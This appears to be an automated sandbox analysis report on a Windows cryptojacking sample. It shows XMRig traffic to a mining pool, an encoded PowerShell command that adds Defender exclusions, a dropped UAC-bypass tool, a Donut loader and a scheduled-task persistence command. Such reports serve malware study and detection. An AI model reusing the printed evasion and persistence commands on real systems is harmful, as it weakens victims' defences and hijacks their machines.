                                                                    Oct 8, 2024 00:17:09.926096916 CEST4975980192.168.2.645.76.89.70
                                                                    Oct 8, 2024 00:17:09.933294058 CEST804975945.76.89.70192.168.2.6
                                                                    Oct 8, 2024 00:17:09.933475018 CEST4975980192.168.2.645.76.89.70
                                                                    Oct 8, 2024 00:17:09.933782101 CEST4975980192.168.2.645.76.89.70
                                                                    Oct 8, 2024 00:17:09.940613985 CEST804975945.76.89.70192.168.2.6
                                                                    Oct 8, 2024 00:17:10.566822052 CEST804975945.76.89.70192.168.2.6
                                                                    Oct 8, 2024 00:17:10.684897900 CEST4975980192.168.2.645.76.89.70
                                                                    Oct 8, 2024 00:17:20.847856045 CEST804975945.76.89.70192.168.2.6
                                                                    Oct 8, 2024 00:17:20.940629005 CEST4975980192.168.2.645.76.89.70
                                                                    Oct 8, 2024 00:17:42.844085932 CEST804975945.76.89.70192.168.2.6
                                                                    Oct 8, 2024 00:17:42.886888981 CEST4975980192.168.2.645.76.89.70
                                                                    Oct 8, 2024 00:18:01.456768036 CEST804975945.76.89.70192.168.2.6
                                                                    Oct 8, 2024 00:18:01.458019018 CEST804975945.76.89.70192.168.2.6
                                                                    Oct 8, 2024 00:18:01.458095074 CEST4975980192.168.2.645.76.89.70
                                                                    Oct 8, 2024 00:18:01.710004091 CEST804975945.76.89.70192.168.2.6
                                                                    Oct 8, 2024 00:18:01.710063934 CEST4975980192.168.2.645.76.89.70
                                                                    Oct 8, 2024 00:18:04.877684116 CEST804975945.76.89.70192.168.2.6
                                                                    Oct 8, 2024 00:18:04.997067928 CEST4975980192.168.2.645.76.89.70
                                                                    Oct 8, 2024 00:18:26.883596897 CEST804975945.76.89.70192.168.2.6
                                                                    Oct 8, 2024 00:18:26.996931076 CEST4975980192.168.2.645.76.89.70
                                                                    Oct 8, 2024 00:18:49.041654110 CEST804975945.76.89.70192.168.2.6
                                                                    Oct 8, 2024 00:18:49.170361996 CEST4975980192.168.2.645.76.89.70
                                                                    Oct 8, 2024 00:18:49.177587986 CEST804975945.76.89.70192.168.2.6
                                                                    Oct 8, 2024 00:18:49.357666969 CEST804975945.76.89.70192.168.2.6
                                                                    Oct 8, 2024 00:18:49.456510067 CEST4975980192.168.2.645.76.89.70
                                                                    Oct 8, 2024 00:19:01.102380037 CEST804975945.76.89.70192.168.2.6
                                                                    Oct 8, 2024 00:19:01.293715000 CEST4975980192.168.2.645.76.89.70
                                                                    Oct 8, 2024 00:19:10.863399982 CEST804975945.76.89.70192.168.2.6
                                                                    Oct 8, 2024 00:19:10.996699095 CEST4975980192.168.2.645.76.89.70
                                                                    Oct 8, 2024 00:19:33.082236052 CEST804975945.76.89.70192.168.2.6
                                                                    Oct 8, 2024 00:19:33.293428898 CEST4975980192.168.2.645.76.89.70
                                                                    Oct 8, 2024 00:19:55.059500933 CEST804975945.76.89.70192.168.2.6
                                                                    Oct 8, 2024 00:19:55.130101919 CEST4975980192.168.2.645.76.89.70
                                                                    Oct 8, 2024 00:20:16.864274025 CEST804975945.76.89.70192.168.2.6
                                                                    Oct 8, 2024 00:20:16.936151981 CEST4975980192.168.2.645.76.89.70
                                                                    Oct 8, 2024 00:20:25.588957071 CEST804975945.76.89.70192.168.2.6
                                                                    Oct 8, 2024 00:20:25.687434912 CEST4975980192.168.2.645.76.89.70
                                                                    Oct 8, 2024 00:20:46.872087955 CEST804975945.76.89.70192.168.2.6
                                                                    Oct 8, 2024 00:20:46.983513117 CEST4975980192.168.2.645.76.89.70
                                                                    Oct 8, 2024 00:20:56.554950953 CEST804975945.76.89.70192.168.2.6
                                                                    Oct 8, 2024 00:20:56.793059111 CEST4975980192.168.2.645.76.89.70
                                                                    Oct 8, 2024 00:21:00.171047926 CEST4975980192.168.2.645.76.89.70
                                                                    Oct 8, 2024 00:21:00.178226948 CEST804975945.76.89.70192.168.2.6
                                                                    Oct 8, 2024 00:21:00.361864090 CEST804975945.76.89.70192.168.2.6
                                                                    Oct 8, 2024 00:21:00.472162008 CEST4975980192.168.2.645.76.89.70

                                                                    UDP Packets

                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                    Oct 8, 2024 00:17:09.676958084 CEST4961753192.168.2.61.1.1.1
                                                                    Oct 8, 2024 00:17:09.922667027 CEST53496171.1.1.1192.168.2.6

                                                                    DNS Queries

                                                                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                    Oct 8, 2024 00:17:09.676958084 CEST192.168.2.61.1.1.10x22ffStandard query (0)pool.hashvault.proA (IP address)IN (0x0001)false

                                                                    DNS Answers

                                                                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                    Oct 8, 2024 00:17:09.922667027 CEST1.1.1.1192.168.2.60x22ffNo error (0)pool.hashvault.pro45.76.89.70A (IP address)IN (0x0001)false
                                                                    Oct 8, 2024 00:17:09.922667027 CEST1.1.1.1192.168.2.60x22ffNo error (0)pool.hashvault.pro95.179.241.203A (IP address)IN (0x0001)false

                                                                    HTTP Packets

                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                    0192.168.2.64975945.76.89.70801320C:\Windows\explorer.exe
                                                                    TimestampBytes transferredDirectionData
                                                                    Oct 8, 2024 00:17:09.933782101 CEST568OUTData Raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6c 6f 67 69 6e 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 6c 6f 67 69 6e 22 3a 22 34 32 36 52 4e 78 53 53 45 71 63 50 75 76 34 68 77 45 48 6b 4a 66
                                                                    Data Ascii: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"426RNxSSEqcPuv4hwEHkJf7kVHFWs8bprQJpMPxDcRx6RTQxZW7rByiXU4CnMDqrHL4s7VEpMG8Qj77ygdDRvkBU3Ncd1Wx","pass":"","agent":"XMRig/6.15.2 (Windows NT 10.0; Win64; x64) libuv/1.38.0 msvc/2019",
                                                                    Oct 8, 2024 00:17:10.566822052 CEST731INData Raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 65 72 72 6f 72 22 3a 6e 75 6c 6c 2c 22 72 65 73 75 6c 74 22 3a 7b 22 69 64 22 3a 22 32 64 38 36 62 33 36 30 2d 36 32 33 33 2d 34 61 35 64 2d 39 66 65 66 2d 35 34 66 61 37
                                                                    Data Ascii: {"id":1,"jsonrpc":"2.0","error":null,"result":{"id":"2d86b360-6233-4a5d-9fef-54fa79e22076","job":{"blob":"1010dabb91b80666e51d3a036ea9a1a41cdaa5f775e6f9825028271381f44d4f97319aaedbce9200000000c7050a2834dfa00549c0c61a7bd2df3e36eab089c3a6510f120
                                                                    Oct 8, 2024 00:17:20.847856045 CEST471INData Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 66 30 62 62 39 31 62 38 30 36 36 36 65 35 31 64 33 61 30 33 36 65 61 39 61 31 61 34
                                                                    Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010f0bb91b80666e51d3a036ea9a1a41cdaa5f775e6f9825028271381f44d4f97319aaedbce92000000005f1d3b08701b68f9c95fd8b62be900c703c64d6374404076fd3fa68e50bb8f0860","job_id":"882cf931-d412-4d88-ad1a-92b97
                                                                    Oct 8, 2024 00:17:42.844085932 CEST471INData Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 38 36 62 63 39 31 62 38 30 36 36 36 65 35 31 64 33 61 30 33 36 65 61 39 61 31 61 34
                                                                    Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"101086bc91b80666e51d3a036ea9a1a41cdaa5f775e6f9825028271381f44d4f97319aaedbce920000000024e23e3d9ed65fe0f2a6117ecd38c579bbb3a1bf33dddbd19c51c2413a63fb1266","job_id":"4c9dafd9-6dda-40f7-937d-dee4a
                                                                    Oct 8, 2024 00:18:01.456768036 CEST471INData Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 38 36 62 63 39 31 62 38 30 36 36 36 65 35 31 64 33 61 30 33 36 65 61 39 61 31 61 34
                                                                    Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"101086bc91b80666e51d3a036ea9a1a41cdaa5f775e6f9825028271381f44d4f97319aaedbce92000000006d61a41cb2ffba0e5e935c3ccd9a4535f47afda03dd9a9940734b898a477126566","job_id":"70269f7d-0285-461f-85c1-fa8b5
                                                                    Oct 8, 2024 00:18:01.458019018 CEST471INData Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 38 36 62 63 39 31 62 38 30 36 36 36 65 35 31 64 33 61 30 33 36 65 61 39 61 31 61 34
                                                                    Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"101086bc91b80666e51d3a036ea9a1a41cdaa5f775e6f9825028271381f44d4f97319aaedbce92000000006d61a41cb2ffba0e5e935c3ccd9a4535f47afda03dd9a9940734b898a477126566","job_id":"70269f7d-0285-461f-85c1-fa8b5
                                                                    Oct 8, 2024 00:18:01.710004091 CEST471INData Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 38 36 62 63 39 31 62 38 30 36 36 36 65 35 31 64 33 61 30 33 36 65 61 39 61 31 61 34
                                                                    Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"101086bc91b80666e51d3a036ea9a1a41cdaa5f775e6f9825028271381f44d4f97319aaedbce92000000006d61a41cb2ffba0e5e935c3ccd9a4535f47afda03dd9a9940734b898a477126566","job_id":"70269f7d-0285-461f-85c1-fa8b5
                                                                    Oct 8, 2024 00:18:04.877684116 CEST471INData Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 39 63 62 63 39 31 62 38 30 36 36 36 65 35 31 64 33 61 30 33 36 65 61 39 61 31 61 34
                                                                    Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"10109cbc91b80666e51d3a036ea9a1a41cdaa5f775e6f9825028271381f44d4f97319aaedbce92000000008b7c7dfaf239eb14ba91e74fc9426ef2e87526b3a732bfc85d418f8ac90c386f69","job_id":"f5ffa0c1-1153-49c9-8754-96b90
                                                                    Oct 8, 2024 00:18:26.883596897 CEST471INData Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 62 32 62 63 39 31 62 38 30 36 36 36 65 35 31 64 33 61 30 33 36 65 61 39 61 31 61 34
                                                                    Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010b2bc91b80666e51d3a036ea9a1a41cdaa5f775e6f9825028271381f44d4f97319aaedbce920000000031d507b747d3af12afc1d5b4548602250f276ae5e3cf58c90a21496a4cb6a3c572","job_id":"601c3d52-15c9-42c9-8750-d110f
                                                                    Oct 8, 2024 00:18:49.041654110 CEST471INData Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 63 38 62 63 39 31 62 38 30 36 36 36 65 35 31 64 33 61 30 33 36 65 61 39 61 31 61 34
                                                                    Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"blob":"1010c8bc91b80666e51d3a036ea9a1a41cdaa5f775e6f9825028271381f44d4f97319aaedbce9200000000818dc9319d43a160a18db6bea3c59dacf85e818c6d4ba7287dafbd8a8e8c9c6173","job_id":"28648d19-da05-4227-8ad5-c0d4f


                                                                    Statistics

                                                                    CPU Usage

                                                                    Click to jump to process

                                                                    Memory Usage

                                                                    Click to jump to process

                                                                    High Level Behavior Distribution

                                                                    Click to dive into process behavior distribution

                                                                    Behavior

                                                                    Click to jump to process

                                                                    System Behavior

                                                                    General

                                                                    Target ID:0
                                                                    Start time:18:16:53
                                                                    Start date:07/10/2024
                                                                    Path:C:\Users\user\Desktop\GcqJPBLD2Q.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:"C:\Users\user\Desktop\GcqJPBLD2Q.exe"
                                                                    Imagebase:0xf50000
                                                                    File size:3'598'848 bytes
                                                                    MD5 hash:831C0B3184FEB755997EE1EC5E474CA8
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Yara matches:
                                                                    • Rule: JoeSecurity_UACMe, Description: Yara detected UACMe UAC Bypass tool, Source: 00000000.00000002.2146963912.0000000003551000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                    Reputation:low
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:2
                                                                    Start time:18:16:54
                                                                    Start date:07/10/2024
                                                                    Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAawBlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGkAZgB2ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAcgBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAeQBnACMAPgA="
                                                                    Imagebase:0x7ff6e3d50000
                                                                    File size:452'608 bytes
                                                                    MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Reputation:high
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:3
                                                                    Start time:18:16:54
                                                                    Start date:07/10/2024
                                                                    Path:C:\Windows\System32\conhost.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                    Imagebase:0x7ff66e660000
                                                                    File size:862'208 bytes
                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Reputation:high
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:4
                                                                    Start time:18:16:55
                                                                    Start date:07/10/2024
                                                                    Path:C:\Users\user\AppData\Local\Temp\Cool.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:"C:\Users\user\AppData\Local\Temp\Cool.exe"
                                                                    Imagebase:0x400000
                                                                    File size:2'234'880 bytes
                                                                    MD5 hash:DEF89B601B7DDD52A94E15DBD38EAEEF
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Yara matches:
                                                                    • Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000004.00000002.2151276225.0000000000AB6000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: Windows_Trojan_Donutloader_5c38878d, Description: unknown, Source: 00000004.00000002.2151276225.0000000000AB6000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    Antivirus matches:
                                                                    • Detection: 100%, Avira
                                                                    • Detection: 100%, Joe Sandbox ML
                                                                    Reputation:low
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:5
                                                                    Start time:18:16:55
                                                                    Start date:07/10/2024
                                                                    Path:C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:"C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exe"
                                                                    Imagebase:0x7ff6fe420000
                                                                    File size:82'432 bytes
                                                                    MD5 hash:83588784E36FE1894F499CAF5FAD5ED8
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Yara matches:
                                                                    • Rule: JoeSecurity_UACMe, Description: Yara detected UACMe UAC Bypass tool, Source: 00000005.00000000.2143738262.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security
                                                                    • Rule: JoeSecurity_UACMe, Description: Yara detected UACMe UAC Bypass tool, Source: 00000005.00000002.2150159219.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security
                                                                    • Rule: JoeSecurity_UACMe, Description: Yara detected UACMe UAC Bypass tool, Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exe, Author: Joe Security
                                                                    • Rule: Codoso_Gh0st_2, Description: Detects Codoso APT Gh0st Malware, Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exe, Author: Florian Roth
                                                                    Reputation:low
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:6
                                                                    Start time:18:16:55
                                                                    Start date:07/10/2024
                                                                    Path:C:\Windows\System32\conhost.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                    Imagebase:0x7ff66e660000
                                                                    File size:862'208 bytes
                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Reputation:high
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:7
                                                                    Start time:18:16:55
                                                                    Start date:07/10/2024
                                                                    Path:C:\Windows\System32\conhost.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:"C:\Windows\System32\conhost.exe" "C:\Users\user\AppData\Local\Temp\Cool.exe"
                                                                    Imagebase:0x7ff66e660000
                                                                    File size:862'208 bytes
                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Yara matches:
                                                                    • Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000007.00000002.2189995465.00000236C4F60000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: Windows_Trojan_Donutloader_5c38878d, Description: unknown, Source: 00000007.00000002.2189995465.00000236C4F60000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                    Reputation:high
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:8
                                                                    Start time:18:16:57
                                                                    Start date:07/10/2024
                                                                    Path:C:\Windows\System32\cmd.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\user\AppData\Local\Temp\services64.exe"
                                                                    Imagebase:0x7ff6f2360000
                                                                    File size:289'792 bytes
                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Reputation:high
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:9
                                                                    Start time:18:16:57
                                                                    Start date:07/10/2024
                                                                    Path:C:\Windows\System32\conhost.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                    Imagebase:0x7ff66e660000
                                                                    File size:862'208 bytes
                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Reputation:high
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:10
                                                                    Start time:18:16:57
                                                                    Start date:07/10/2024
                                                                    Path:C:\Windows\System32\schtasks.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\user\AppData\Local\Temp\services64.exe"
                                                                    Imagebase:0x7ff6f2870000
                                                                    File size:235'008 bytes
                                                                    MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Reputation:high
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:11
                                                                    Start time:18:17:00
                                                                    Start date:07/10/2024
                                                                    Path:C:\Windows\System32\cmd.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:"cmd" cmd /c "C:\Users\user\AppData\Local\Temp\services64.exe"
                                                                    Imagebase:0x7ff6f2360000
                                                                    File size:289'792 bytes
                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Reputation:high
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:12
                                                                    Start time:18:16:59
                                                                    Start date:07/10/2024
                                                                    Path:C:\Users\user\AppData\Local\Temp\services64.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:C:\Users\user\AppData\Local\Temp\services64.exe
                                                                    Imagebase:0x400000
                                                                    File size:2'234'880 bytes
                                                                    MD5 hash:DEF89B601B7DDD52A94E15DBD38EAEEF
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Yara matches:
                                                                    • Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000000C.00000002.2213477315.0000000000B97000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: Windows_Trojan_Donutloader_5c38878d, Description: unknown, Source: 0000000C.00000002.2213477315.0000000000B97000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    Antivirus matches:
                                                                    • Detection: 100%, Avira
                                                                    • Detection: 100%, Joe Sandbox ML
                                                                    Reputation:low
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:13
                                                                    Start time:18:17:00
                                                                    Start date:07/10/2024
                                                                    Path:C:\Windows\System32\conhost.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                    Imagebase:0x7ff66e660000
                                                                    File size:862'208 bytes
                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Reputation:high
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:14
                                                                    Start time:18:17:02
                                                                    Start date:07/10/2024
                                                                    Path:C:\Windows\System32\conhost.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:"C:\Windows\System32\conhost.exe" "C:\Users\user\AppData\Local\Temp\services64.exe"
                                                                    Imagebase:0x7ff66e660000
                                                                    File size:862'208 bytes
                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Yara matches:
                                                                    • Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000000E.00000002.2259611805.000001EC44910000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: Windows_Trojan_Donutloader_5c38878d, Description: unknown, Source: 0000000E.00000002.2259611805.000001EC44910000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                    Reputation:high
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:15
                                                                    Start time:18:17:00
                                                                    Start date:07/10/2024
                                                                    Path:C:\Users\user\AppData\Local\Temp\services64.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:C:\Users\user\AppData\Local\Temp\services64.exe
                                                                    Imagebase:0x400000
                                                                    File size:2'234'880 bytes
                                                                    MD5 hash:DEF89B601B7DDD52A94E15DBD38EAEEF
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Yara matches:
                                                                    • Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000000F.00000002.2198853521.0000000000AA7000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: Windows_Trojan_Donutloader_5c38878d, Description: unknown, Source: 0000000F.00000002.2198853521.0000000000AA7000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    Has exited:true

                                                                    General

                                                                    Target ID:16
                                                                    Start time:18:17:00
                                                                    Start date:07/10/2024
                                                                    Path:C:\Windows\System32\conhost.exe
                                                                    Wow64 process (32bit):false
                                                                    Commandline:"C:\Windows\System32\conhost.exe" "C:\Users\user\AppData\Local\Temp\services64.exe"
                                                                    Imagebase:0x7ff66e660000
                                                                    File size:862'208 bytes
                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                    Has elevated privileges:true
                                                                    Has administrator privileges:true
                                                                    Programmed in:C, C++ or other language
                                                                    Yara matches:
                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.2255180923.0000024769437000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    • Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000010.00000003.2255180923.0000024769437000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.2218560312.000002476943E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    • Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000010.00000003.2218560312.000002476943E000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.2265143646.0000024769433000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    • Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000010.00000003.2265143646.0000024769433000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.2238560339.0000024769435000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    • Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000010.00000003.2238560339.0000024769435000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.2261244602.000002476943C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    • Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000010.00000003.2261244602.000002476943C000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.2237491368.0000024769430000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    • Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000010.00000003.2237491368.0000024769430000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.2246350754.0000024769436000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    • Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000010.00000003.2246350754.0000024769436000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.2257958978.000002476943B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    • Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000010.00000003.2257958978.000002476943B000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.2262725045.0000024769431000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                    • Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000010.00000003.2262725045.0000024769431000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                    • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000010.00000003.2236720791.0000024769432000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
